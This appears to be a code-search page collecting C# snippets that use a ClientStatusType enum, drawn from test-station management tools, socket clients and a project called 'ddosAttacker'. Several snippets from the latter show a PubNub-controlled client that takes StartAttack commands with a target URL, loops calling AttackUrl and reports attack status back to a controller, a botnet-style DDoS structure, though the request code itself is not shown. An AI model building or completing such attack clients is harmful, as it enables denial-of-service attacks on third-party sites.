コード例 #1
0
        public static TestState convertToTestState(ClientStatusType state)
        {
            switch (state)
            {
            case ClientStatusType.Abort:
                return(TestState.Abort);

            case ClientStatusType.Fail:
                return(TestState.Fail);

            case ClientStatusType.Error:
                return(TestState.Error);

            case ClientStatusType.Idle:
                return(TestState.Idle);

            case ClientStatusType.Pass:
                return(TestState.Pass);

            case ClientStatusType.Run:
                return(TestState.Running);

            case ClientStatusType.Wait:
                return(TestState.Wait);

            case ClientStatusType.Unknown:
                return(TestState.Unknown);

            default:
                return(TestState.Unknown);
            }
        }
コード例 #2
0
        protected virtual void Dispose(bool disposing)
        {
            if (!_disposedValue)
            {
                if (disposing)
                {
                    Tag = null;
                    _connectedStatus = ClientStatusType.Disconnected;
                }

                try
                {
                    _socket?.Dispose();
                }
                catch (Exception ex)
                {
                    if (_showFail)
                    {
                        Debug.Fail(ex.Message, ex.StackTrace);
                    }
                }
                finally
                {
                    _socket        = null;
                    OnChangeStatus = null;
                    OnReceive      = null;
                }

                _disposedValue = true;
            }
        }
コード例 #3
0
 private void DisconnectFinalize()
 {
     try
     {
         _socket?.Dispose();
     }
     catch (Exception ex)
     {
         if (_showFail)
         {
             Debug.Fail(ex.Message, ex.StackTrace);
         }
     }
     finally
     {
         _socket = null;
         _buffer = new byte[0];
         _bufferCollector.Clear();
     }
     if (_connectedStatus != ClientStatusType.Disconnected)
     {
         _connectedStatus = ClientStatusType.Disconnected;
         CallChangeStatus();
     }
 }
コード例 #4
0
 public static void UpdateStationsData(int station, int what, ClientStatusType state)
 {
     if (ChangeStationState != null)
     {
         ChangeStationState(station, what, state);
     }
 }
コード例 #5
0
 public static void RecordTesterYieldData(string stationID, ClientStatusType testResult)
 {
     if (recordTesterResult != null)
     {
         recordTesterResult(stationID, testResult);
     }
 }
コード例 #6
0
 public void Disconnect()
 {
     try
     {
         if (_connectedStatus != ClientStatusType.Disconnection && _connectedStatus != ClientStatusType.Disconnected)
         {
             _connectedStatus = ClientStatusType.Disconnection;
             CallChangeStatus();
             if (_socket != null)
             {
                 LingerOption lingerOption = new LingerOption(true, 1);
                 _socket.LingerState = lingerOption;
                 if (_socket.Connected)
                 {
                     _socket?.Shutdown(SocketShutdown.Both);
                     _socket?.BeginDisconnect(false, DisconnectCallback, null);
                 }
             }
         }
     }
     catch (Exception ex)
     {
         if (_showFail)
         {
             Debug.Fail(ex.Message, ex.StackTrace);
         }
     }
     finally
     {
         DisconnectFinalize();
     }
 }
コード例 #7
0
ファイル: Program.cs プロジェクト: ensarduman/ddosAttacker
        static void Main(string[] args)
        {
            SenderId = Identity.CreateNewID();
            Status   = ClientStatusType.Normal;
            Data     = String.Empty;
            pubnub   = ChannelHelper.InitializePubNubClient();

            //Client'ın bilgileri server ile paylaşılıyor
            ClientController.PublishStatusMessage(pubnub, SenderId, ref Status, ref Data);

            //Mesajların alınması için listener yaratılıyor
            Listener listener = new Listener(pubnub);

            listener.AddListener(message =>
            {
                HandleMessage(message, pubnub, SenderId);
                return(true);
            });

            //Sunucuya durum bilgisi gönderilmesi için bir timer yaratılıyor
            System.Timers.Timer tmrStatusMessage = new System.Timers.Timer();
            tmrStatusMessage.Elapsed += Timer_Elapsed;;
            tmrStatusMessage.Interval = SendStatusMessageInterval;
            tmrStatusMessage.Start();

            Console.ReadLine();
        }
コード例 #8
0
 public ClientData(string id, string status, ClientStatusType clientStatusType, DateTime lastUpdate)
 {
     this.Id               = id;
     this.StatusText       = status;
     this.LastUpdate       = lastUpdate;
     this.ClientStatusType = ClientStatusType;
 }
コード例 #9
0
        public void Connect(string host, int port)
        {
            if (string.IsNullOrWhiteSpace(host))
            {
                throw new ArgumentNullException(nameof(host));
            }
            if (port < 1 || port > 65535)
            {
                throw new ArgumentOutOfRangeException(nameof(port));
            }

            if (_connectedStatus == ClientStatusType.Disconnected)
            {
                try
                {
                    try
                    {
                        _socket?.Dispose();
                    }
                    catch (Exception ex)
                    {
                        if (_showFail)
                        {
                            Debug.Fail(ex.Message, ex.StackTrace);
                        }
                    }
                    finally
                    {
                        _socket = null;
                    }

                    _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                    {
                        ReceiveTimeout    = DefaultReceiveTimeout,
                        SendTimeout       = DefaultSendTimeout,
                        ReceiveBufferSize = DefaultReceiveBufferSize,
                        SendBufferSize    = DefaultSendBufferSize,
                    };

                    _connectedStatus = ClientStatusType.Connection;
                    CallChangeStatus();

                    var result  = _socket.BeginConnect(host, port, new AsyncCallback(ConnectCallback), null);
                    var success = result.AsyncWaitHandle.WaitOne(10000, true);
                    if (_socket != null && !_socket.Connected)
                    {
                        Disconnect();
                    }
                }
                catch (Exception ex)
                {
                    if (_showFail)
                    {
                        Debug.Fail(ex.Message, ex.StackTrace);
                    }
                    DisconnectFinalize();
                }
            }
        }
コード例 #10
0
        /// <summary>
        /// Alınan mesajları yorumlar ve gerekli aksiyonları başlatır
        /// </summary>
        /// <param name="messageDTO"></param>
        private void ReceiveMessage(MessageDTO messageDTO)
        {
            /*
             * Eğer server tarafından karşılanan bir mesaj ise bu değer true yapılır
             */
            bool isHandled = false;

            ClientStatusType clientStatusType = ClientStatusType.Normal;

            switch (messageDTO.MessageType)
            {
            case MessageType.TextToServers:
                clientStatusType = ClientStatusType.Message;
                isHandled        = true;
                break;

            case MessageType.ClientStatus:
                clientStatusType = ClientStatusType.Normal;
                isHandled        = true;
                break;

            case MessageType.ClientError:
                clientStatusType = ClientStatusType.Error;
                isHandled        = true;
                break;

            case MessageType.ClientAttacking:
                clientStatusType = ClientStatusType.Attacking;
                isHandled        = true;
                break;

            default:
                break;
            }

            if (isHandled)
            {
                var client = Clients.Where(p => p.Id == messageDTO.SenderId).FirstOrDefault();
                if (client == null)
                {
                    client = new ClientData(messageDTO.SenderId, messageDTO.Data, clientStatusType, DateTime.Now);
                    Clients.Add(client);
                }
                else
                {
                    client.StatusText = messageDTO.Data;

                    client.ClientStatusType = clientStatusType;

                    client.LastUpdate = DateTime.Now;
                }
            }
        }
コード例 #11
0
        /// <summary>
        /// Saldırıyı durdurur
        /// </summary>
        /// <param name="url"></param>
        public static void StopAttack(ref ClientStatusType Status, ref string Data)
        {
            Status = ClientStatusType.Normal;
            Data   = String.Empty;

            if (trdAttack != null)
            {
                trdAttack.Abort();
                trdAttack = null;
            }

            WriteMessage("Attacking stopped");
        }
コード例 #12
0
        /// <summary>
        /// Saldırıyı başlatır
        /// </summary>
        /// <param name="url"></param>
        public static void StartAttack(ref ClientStatusType Status, ref string Data, string url, Func <Exception, bool> afterError)
        {
            /*
             * Saldırı önce durdurulup tekrar başlatılıyor
             */
            StopAttack(ref Status, ref Data);

            bool isStartedAttack = false;

            if (trdAttack == null)
            {
                trdAttack = new Thread(() =>
                {
                    try
                    {
                        int i = 0;
                        while (true)
                        {
                            i++;

                            if (i % 10000 == 0)
                            {
                                WriteMessage("Attacking: " + i.ToString());
                                WriteMessage("Url: " + url);
                                AttackUrl(url);
                            }
                        }
                    }
                    catch (ThreadAbortException ee)
                    {
                        return;
                    }
                    catch (Exception ee)
                    {
                        WriteMessage("Error: " + ee.Message);
                        afterError(ee);
                    }
                });
                trdAttack.Start();
                isStartedAttack = true;
            }

            if (isStartedAttack)
            {
                Status = ClientStatusType.Attacking;
                Data   = url;
            }
        }
コード例 #13
0
        /// <summary>
        /// init station list
        /// </summary>
        /// <param name="StationId">station id is like 1,2,3,4,5,6</param>
        public void InitStationList(int StationId)
        {
            currentDUTtestedCount         = 0;
            DUTTestConsecutiveFailedTimes = 0;
            clientStatusType = ClientStatusType.Unknown;
            switch (StationId)
            {
            case 1:
                stationId = 1;
                stationNo = -1;
                ahaddress = "0.0.0.0";
                break;

            case 2:
                stationId = 2;
                stationNo = -1;
                ahaddress = "0.0.0.0";
                break;

            case 3:
                stationId = 3;
                stationNo = -1;
                ahaddress = "0.0.0.0";
                break;

            case 4:
                stationId = 4;
                stationNo = -1;
                ahaddress = "0.0.0.0";
                break;

            case 5:
                stationId = 5;
                stationNo = -1;
                ahaddress = "0.0.0.0";
                break;

            case 6:
                stationId = 6;
                stationNo = -1;
                ahaddress = "0.0.0.0";
                break;

            default:
                break;
            }
        }
コード例 #14
0
        /// <summary>
        /// Mesaj yayınlar
        /// </summary>
        /// <param name="pubnub"></param>
        /// <param name="SenderId"></param>
        /// <param name="Status"></param>
        /// <param name="Data"></param>
        public static void PublishStatusMessage(Pubnub pubnub, string SenderId, ref ClientStatusType Status, ref string Data)
        {
            Publisher publisher = new Publisher(pubnub);

            MessageType messageType;

            switch (Status)
            {
            case ClientStatusType.Normal:
                messageType = MessageType.ClientStatus;
                break;

            case ClientStatusType.Message:
                messageType = MessageType.TextToServers;
                break;

            case ClientStatusType.Error:
                messageType = MessageType.ClientError;
                break;

            case ClientStatusType.Attacking:
                messageType = MessageType.ClientAttacking;
                break;

            default:
                messageType = MessageType.ClientStatus;
                break;
            }

            WriteMessage($"messageType: {messageType.ToString()} Publishing");

            publisher.PublishMessage(new MessageDTO(messageType, SenderId, Data), (isError, errorMessage) =>
            {
                if (!isError)
                {
                    WriteMessage($"messageType: {messageType.ToString()} Published");
                }
                else
                {
                    WriteMessage($"messageType: {messageType.ToString()} Error!: " + errorMessage);
                }

                return(!isError);
            });
        }
コード例 #15
0
ファイル: Program.cs プロジェクト: ensarduman/ddosAttacker
        /// <summary>
        /// Gönderilen mesajı yorumlar ve gereken işlemi başlatır
        /// </summary>
        /// <param name="message"></param>
        /// <param name="pubnub"></param>
        /// <param name="SenderId"></param>
        /// <param name="Status"></param>
        /// <param name="Data"></param>
        public static void HandleMessage(MessageDTO message, Pubnub pubnub, string SenderId)
        {
            /*
             * Eğer client tarafından karşılanan bir mesaj ise bu değer true yapılır
             */
            bool isHandled = false;

            switch (message.MessageType)
            {
            case MessageType.TextToClients:
                ClientController.WriteMessage(message.Data);
                isHandled = true;
                break;

            case MessageType.StartAttack:
                ClientController.StartAttack(ref Status, ref Data, message.Data, (ex) =>
                {
                    Status = ClientStatusType.Error;
                    Data   = ex.Message;
                    return(false);
                });
                isHandled = true;
                break;

            case MessageType.StopAttack:
                ClientController.StopAttack(ref Status, ref Data);
                isHandled = true;
                break;

            default:
                break;
            }

            //Eğer mesaj handle edildiyse son durum server ile paylaşılıyor
            if (isHandled)
            {
                ClientController.PublishStatusMessage(pubnub, SenderId, ref Status, ref Data);
            }
        }
コード例 #16
0
 private void ConnectCallback(IAsyncResult result)
 {
     try
     {
         if (_socket != null)
         {
             _socket.EndConnect(result);
             _buffer          = new byte[DefaultReceiveBufferSize];
             _connectedStatus = ClientStatusType.Connected;
             CallChangeStatus();
             _socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None,
                                  new AsyncCallback(ReceiveCallback), null);
         }
     }
     catch (Exception ex)
     {
         if (_showFail)
         {
             Debug.Fail(ex.Message, ex.StackTrace);
         }
         Disconnect();
     }
 }
コード例 #17
0
        /// <summary>
        /// after reveiver the TM status , updatesation status according
        /// </summary>
        /// <param name="StationId"></param>
        /// <param name="ClientStatusType"></param>
        public void UpdateStation(string StationId, ClientStatusType ClientStatusType)
        {
            if (StationId == null || ClientStatusType == null)
            {
                LogerHelper2.ToLog("station id is null ", 3);
                return;
            }

            int id   = int.Parse(StationId);
            int what = 0;    // 1- test station; 2- dut test; 3-GUF ; 4- warning

            switch (ClientStatusType)
            {
            case ClientStatusType.Error:
                stationList[id - 1].clientStatusType = ClientStatusType.Error;

                //ClientGUFStatus.UpdateStationsData(id, 2, stationList[id - 1].clientStatusType);
                ClientGUFStatus.UpdateStationsData(id, 4, stationList[id - 1].clientStatusType);
                if (stationList[id - 1].errorInfo.ToLower().Contains("guf"))      // just GUF error
                {
                    gufList[id - 1].gufStatus = 1;
                    what = 3;
                }
                else if (stationList[id - 1].errorInfo.ToLower().Contains("crashed") && stationList[id - 1].errorInfo.ToLower().Contains("tm"))       // TM crashed
                {
                    what = 2;
                }
                else if (stationList[id - 1].errorInfo.ToLower().Contains("pop-up") && stationList[id - 1].errorInfo.ToLower().Contains("window"))       // detect pop-up windows during test
                {
                    what = 4;
                }
                else      // test staton error
                {
                    stationList[id - 1].isAvaliable = false;
                    ClientGUFStatus.UpdateStationsData(id, 2, stationList[id - 1].clientStatusType);
                    what = 1;
                }
                break;

            case ClientStatusType.Pass:
                stationList[id - 1].clientStatusType = ClientStatusType.Pass;
                stationList[id - 1].timeoutTimer.Stop();
                what = 2;
                break;

            case ClientStatusType.Fail:
                stationList[id - 1].clientStatusType = ClientStatusType.Fail;
                stationList[id - 1].timeoutTimer.Stop();
                what = 2;
                break;

            case ClientStatusType.Idle:
                stationList[id - 1].clientStatusType      = ClientStatusType.Idle;
                stationList[id - 1].onTestingSerialNumber = "";
                ClientGUFStatus.UpdateStationsData(id, 1, ClientStatusType.Pass);      // use Pass to on behalf of avaliable or normal
                //LogerHelper2.ToLog("stationId is " + id + "," + "what = " + 1 , 0);
                if (stationList[id - 1].errorInfo.Length == 0)
                {
                    ClientGUFStatus.UpdateStationsData(id, 4, ClientStatusType.Unknown);      // use Pass to on behalf of avaliable or normal
                    //LogerHelper2.ToLog("stationId is " + id + "," + "what = " + 4, 0);
                }
                if (gufList[id - 1].gufStatus == 0)
                {
                    ClientGUFStatus.UpdateStationsData(id, 3, ClientStatusType.Pass);      // use Pass to on behalf of avaliable or normal
                    //QueryMessageListAndRunFirstMessage("DUTID");
                    //LogerHelper2.ToLog("stationId is " + id + "," + "what = " + 3, 0);
                }
                what = 2;      // set the test status to idle, so that could test the rest tasks
                QueryMessageListAndRunFirstMessage("DUTID");
                break;

            case ClientStatusType.Unknown:
                stationList[id - 1].clientStatusType = ClientStatusType.Unknown;
                what = 2;
                break;

            case ClientStatusType.Run:
                stationList[id - 1].clientStatusType = ClientStatusType.Run;
                if (stationTimeoutTime > 0)
                {
                    stationList[id - 1].timeoutTimer.Interval = stationTimeoutTime;
                    stationList[id - 1].timeoutTimer.Enabled  = true;
                    //stationList[id - 1].timeoutTimer.Start();
                }
                what = 2;
                break;

            case ClientStatusType.Abort:
                stationList[id - 1].clientStatusType = ClientStatusType.Abort;
                stationList[id - 1].timeoutTimer.Stop();
                what = 2;
                break;

            default:
                return;
            }

            // add deleget here
            ClientGUFStatus.UpdateStationsData(id, what, stationList[id - 1].clientStatusType);
            //LogerHelper2.ToLog("*********stationId is " + id + "," + "what = " + what, 0);
        }
コード例 #18
0
 internal ClientStatusArgs(ClientStatusType clientStatus)
 {
     Status = clientStatus;
 }
コード例 #19
0
ファイル: ClientStatus.cs プロジェクト: goto/synapse
 public ClientStatus(ClientStatusType type, string statusText)
 {
     Type       = type;
     StatusText = statusText;
 }
コード例 #20
0
 public static void RecordDutTestResultToSystemLog(string stationId, string dutID, ClientStatusType testResult)
 {
     ToAutoTestLogFile(DateTime.Now.ToString() + ": Tester " + stationId + " DUT ID " + dutID + " test result " + testResult.ToString());
 }